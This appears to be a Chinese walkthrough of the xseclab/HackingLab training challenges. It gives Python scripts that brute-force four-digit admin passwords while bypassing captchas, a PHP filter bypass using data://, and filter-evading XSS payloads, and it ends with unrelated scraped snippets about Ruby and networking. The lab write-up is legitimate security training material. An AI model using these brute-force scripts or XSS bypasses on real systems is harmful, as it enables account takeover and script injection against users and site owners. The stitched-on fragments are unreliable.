url:http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php
点击链接,burp抓包,发送到重放模块,点击go
得到key is : yougotit_script_now

url:http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php
python3脚本
import requests, re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s = requests.session()
c = s.get(url).content
print(c)
c=c.decode('utf-8')#python3一定要加上这一句
r = re.findall(r'[\d]{2,}',c)
r = int(r[0])*int(r[1])+int(r[2])*(int(r[3])+int(r[4]))
c1 = s.post(url, data={'v':r}).content
print(c1.decode('utf-8'))
得到key is 123iohHKHJ%^&*(jkh

试了一圈最后发现是null
url:http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php
先点了链接发现没反应,审查元素后发现一大段js代码,发现a是个匿名函数,代码中还有禁止弹窗的函数,复制下来,删除前面几个函数,修改打印的值,保存成HTML文件,在浏览器打开
<script>
var a = function () {
var b = function (p, a, c, k, e, r) {
e = function (c) {
return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [
function (e) {
return r[e]
}
];
e = function () {
return '\\w+'
};
c = 1
};
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\'\':e(1p(c/a)))+((c=c%a)>1q?1f.1j(c+1k):c.1n(1o))};1g(!\'\'.1h(/^/,1f)){1i(c--)r[e(c)]=k[c]||e(c);k=[1e(e){1d r[e]}];e=1e(){1d\'\\\\w+\'};c=1};1i(c--)1g(k[c])p=p.1h(1l 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1d p}(\'Y(R(p,a,c,k,e,r){e=R(c){S(c<a?\\\'\\\':e(18(c/a)))+((c=c%a)>17?T.16(c+15):c.12(13))};U(!\\\'\\\'.V(/^/,T)){W(c--)r[e(c)]=k[c]||e(c);k=[R(e){S r[e]}];e=R(){S\\\'\\\\\\\\w+\\\'};c=1};W(c--)U(k[c])p=p.V(Z 11(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);S p}(\\\'G(B(p,a,c,k,e,r){e=B(c){A c.L(a)};E(!\\\\\\\'\\\\\\\'.C(/^/,F)){D(c--)r[e(c)]=k[c]||e(c);k=[B(e){A r[e]}];e=B(){A\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};D(c--)E(k[c])p=p.C(I J(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);A p}(\\\\\\\'t(h(p,a,c,k,e,r){e=o;n(!\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'.m(/^/,o)){l(c--)r[c]=k[c]||c;k=[h(e){f r[e]}];e=h(){f\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\w+\\\\\\\\\\\\\\\'};c=1};l(c--)n(k[c])p=p.m(q s(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\'+e(c)+\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\',\\\\\\\\\\\\\\\'g\\\\\\\\\\\\\\\'),k[c]);f p}(\\\\\\\\\\\\\\\'1 3="6";1 4="7";1 5="";8(1 2=0;2<9;2++){5+=3+4}\\\\\\\\\\\\\\\',j,j,\\\\\\\\\\\\\\\'|u|i|b|c|d|v|x|y|j\\\\\\\\\\\\\\\'.z(\\\\\\\\\\\\\\\'|\\\\\\\\\\\\\\\'),0,{}))\\\\\\\',H,H,\\\\\\\'|||||||||||||||A||B||M||D|C|E|F||I||J|G|N|O||P|Q|K\\\\\\\'.K(\\\\\\\'|\\\\\\\'),0,{}))\\\',X,X,\\\'||||||||||||||||||||||||||||||||||||S|R|V|W|U|T|Y|13|Z|11|14|12|10|19|1a|1b|1c\\\'.14(\\\'|\\\'),0,{}))\',1t,1u,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||1e|1d|1f|1g|1h|1i|1v|1s|1l||1m|1n|1o|1r|1k|1j|1q|1p|1w|1x|1y|1z\'.1r(\'|\'),0,{}))', 62, 98, '|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|String|if|replace|while|fromCharCode|29|new|RegExp|toString|36|parseInt|35|split|eval|62|75|53|var|slakfj|teslkjsdflk|for'.split('|'), 0, {
});
var d = eval(b);
alert('key is first 14 chars' + '\n'+d.substr(0,14));
}()
</script>
得到slakfjteslkjsd

url:http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php
首先观察验证码,发现可以重复使用
第一种方法:Python3脚本,记得要改cookie和验证码的值,要匹配,用自己网站的就可
得到密码为1238,key is LJLJL789sdf#@sd
import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head={'cookie':'PHPSESSID=21949ea3cea7b84b9bf57f8d4b449a63'}
for num in range(1000,10000):
data={'username':'admin','pwd':num,'vcode':'99QZ','submit':'submit'}
res=s.post(url,data=data,headers=head).content.decode('utf-8')
if u'pwd error' in res:
print('正在尝试',num,'-----密码错误!')
if u'vcode error' in res:
print('验证码错误,请重新查看并输入正确验证码!')
# print(res)
if u'error' not in res:
print(num,'-------正确')
print(res)
break
第二种方法:用burp爆破

url:http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
将验证码参数设置为空
得到密码为1228,key is LJLJL789ss33fasvxcvsdf#@sd
第一种方法:Python3脚本
import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
head={'cookie':'PHPSESSID=844e5142519e671ce9180b9a47588675'}
for num in range(1000,10000):
data={'username':'admin','pwd':num,'vcode':'','submit':'submit'}
res=s.post(url,data=data,headers=head).content.decode('utf-8')
if u'pwd error' in res:
print('正在尝试',num,'-----密码错误!')
if u'vcode error' in res:
print('验证码错误,请重新查看并输入正确验证码!')
# print(res)
if u'error' not in res:
print(num,'-------正确')
print(res)
break
第二种方法:用burp爆破,将验证码参数设置为空


url:http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php
提示说的是要保持session
第一个使用python3脚本
得到密码1298, key is LJLJLfuckvcodesdf#@sd
import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"
head={'session':'PHPSESSID=d369965b1284d87405231a4a5763cddc'}
for num in range(1000,10000):
data={'username':'admin','pwd':num,'vcode':'','submit':'submit'}
res=s.post(url,data=data,headers=head).content.decode('utf-8')
if u'pwd error' in res:
print('正在尝试',num,'------密码错误!')
if u'vcode error' in res:
print('验证码错误!')
break
if u'error' not in res:
print(num,'----密码破解成功!')
print(res)
break
第二个使用python2脚本
import requests
s = requests.Session()
url = "http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"
header = {"Cookie": "PHPSESSID=09462a3c9f8553aa536d87ab8b3c6614"}
for pwd in range(1000,10000):
payload = {'username': 'admin', 'pwd':pwd ,'vcode': ''}
r = s.post(url,headers=header,data=payload).content
if r.count("key"):
print r,pwd
第三个使用burp爆破,方法同
url:http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php
查看源代码我们可以发现一个超链接,打开这个超链接是PHP源代码,

发现必须满足以下条件
1.必须对"^_^"赋值
2."^_^"的值不能有 . % [0-9] http https ftp telnet 这些东西
3.$_SERVER['QUERY_STRING'],即"^_^=(输入的值)"这个字符串不能有 _ 这个字符
4.满足$smile!=0
5.file_exists ($_GET['^_^'])必须为0.也就是$_GET['^_^']此文件不存在
6."$smile"必须等于"(●'◡'●)".也就是file_get_contents($_GET['^_^'])必须为"(●'◡'●)"
既要对"^_^"赋值,又得想办法去掉"^_^"中的"_",那么可以采用Url编码变为"%5f".所以我们输入就应该为 "^%5f^".
代码把 http https ftp telnet 这些给过滤了,而又要求通过file_get_contents()取出$_GET['^_^']里的值.但,$_GET['^_^']又必须不存在.所以$_GET['^_^']只能是字符串"(●'◡'●)",不可能是文件名.那么file_get_contents()里的参数应该是啥呢.查了一下,发现data://完美符合.所以我们输入就应该为"^%5f^=data:,(●'◡'●)"
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?%5f=data:,(●’◡’●)
得到key:hkjasfhsa*&IUHKUH
url :http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/
点击获取验证码,并填入5141

返回之前的界面再获取一次验证码,换为这个手机号重新登陆

得到key is LJLJLGod!@@sd

url:http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/
burp抓包,根据提示三位数密码 首位不为0,进行爆破,得到前任的手机号码是:13399999999

继续用13399999999进行爆破,得到flag is {LKK8*(!@@sd}

url:http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php
使用pkav神器
首先使用burp抓包,并且复制到pkav的请求包模块,进行设置

进行重放设置

验证码识别设置

重放选项设置

点击长度即可自动排序,得到flag{133dbc85dda4aa**)}

url:http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php
右键查看源代码,点击…/xssjs/xss_check.php链接,查看代码

构造payload:
<script>alert(HackingLab)</script>
得到key is: myxssteststart!

url:http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php
构造payload:
<img src=x onerror="alert(HackingLab)">
得到key is: xss2test2you

url:http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php
第一个输入框中输入的内容提交后会写入第二个文本框内,但是写入前做了处理,当 value 为敏感字符串时,出现的敏感字符串反而不会被过滤
构造payload:
alert' onmouseover=alert(HackingLab)>
得到key is: xss3test2youOK_striptag

url:http://lab1.xseclab.com/realxss4_9bc1559999a87a9e0968ad1d546dfe33/index.php
首先输入 javascript:alert(1),被屏蔽
尝试绕过 javasc<c>ript:alert(1)
结果却被屏蔽,有以下两种情况:
1.后端代码是先匹配删除掉括号再进行的关键词查找
2.alert被屏蔽
先测试下第二个情况 javasc<c>ript:al<c>ert(1)
可以看到插入进去

并弹窗

构造payload:javasc<c>ript:al<c>ert(HackingLab)
得到key is: xss4isnoteasy

另外的payload
空格 的情况有点特殊,应该是正则表达但是也是可以绕过的
只要空格前面有字符就会被屏蔽
那么我们把空格放在第一个
test

正常通过
那么试试是不是屏蔽了所有空格
test

事实证明只会屏蔽第一个空格
那么构建如下payload
' onmouseover=al<c>ert(HackingLab)>
'onmouseover=al<c>ert(HackingLab)>
成功弹窗!
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A
我想在Ruby中创建一个用于开发目的的极其简单的Web服务器(不,不想使用现成的解决方案)。代码如下:#!/usr/bin/rubyrequire'socket'server=TCPServer.new('127.0.0.1',8080)whileconnection=server.acceptheaders=[]length=0whileline=connection.getsheaders想法是从命令行运行这个脚本,提供另一个脚本,它将在其标准输入上获取请求,并在其标准输出上返回完整的响应。到目前为止一切顺利,但事实证明这真的很脆弱,因为它在第二个请求上中断并出现错误:/usr/b
在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?
网络编程套接字网络编程基础知识理解源`IP`地址和目的`IP`地址理解源MAC地址和目的MAC地址认识端口号理解端口号和进程ID理解源端口号和目的端口号认识`TCP`协议认识`UDP`协议网络字节序socket编程接口`sockaddr``UDP`网络程序服务器端代码逻辑:需要用到的接口服务器端代码`udp`客户端代码逻辑`udp`客户端代码`TCP`网络程序服务器代码逻辑多个版本服务器单进程版本多进程版本多线程版本线程池版本服务器端代码客户端代码逻辑客户端代码TCP协议通讯流程TCP协议的客户端/服务器程序流程三次握手(建立连接)数据传输四次挥手(断开连接)TCP和UDP对比网络编程基础知识
我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("
默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同
是否可以在不实际下载文件的情况下检查文件是否存在?我有这么大的(~40mb)文件,例如:http://mirrors.sohu.com/mysql/MySQL-6.0/MySQL-6.0.11-0.glibc23.src.rpm这与ruby不严格相关,但如果发件人可以设置内容长度就好了。RestClient.get"http://mirrors.sohu.com/mysql/MySQL-6.0/MySQL-6.0.11-0.glibc23.src.rpm",headers:{"Content-Length"=>100} 最佳答案
我在这方面尝试了很多URL,在我遇到这个特定的之前,它们似乎都很好:require'rubygems'require'nokogiri'require'open-uri'doc=Nokogiri::HTML(open("http://www.moxyst.com/fashion/men-clothing/underwear.html"))putsdoc这是结果:/Users/macbookair/.rvm/rubies/ruby-2.0.0-p481/lib/ruby/2.0.0/open-uri.rb:353:in`open_http':404NotFound(OpenURI::HT
我在一个ruby文件中有一个函数可以像这样写入一个文件File.open("myfile",'a'){|f|f.puts("#{sometext}")}这个函数在不同的线程中被调用,使得像上面这样的文件写入不是线程安全的。有谁知道如何以最简单的方式使这个文件写入线程安全?更多信息:如果重要的话,我正在使用rspec框架。 最佳答案 您可以通过File#flock给锁File.open("myfile",'a'){|f|f.flock(File::LOCK_EX)f.puts("#{sometext}")}
深度学习12.CNN经典网络VGG16一、简介1.VGG来源2.VGG分类3.不同模型的参数数量4.3x3卷积核的好处5.关于学习率调度6.批归一化二、VGG16层分析1.层划分2.参数展开过程图解3.参数传递示例4.VGG16各层参数数量三、代码分析1.VGG16模型定义2.训练3.测试一、简介1.VGG来源VGG(VisualGeometryGroup)是一个视觉几何组在2014年提出的深度卷积神经网络架构。VGG在2014年ImageNet图像分类竞赛亚军,定位竞赛冠军;VGG网络采用连续的小卷积核(3x3)和池化层构建深度神经网络,网络深度可以达到16层或19层,其中VGG16和VGG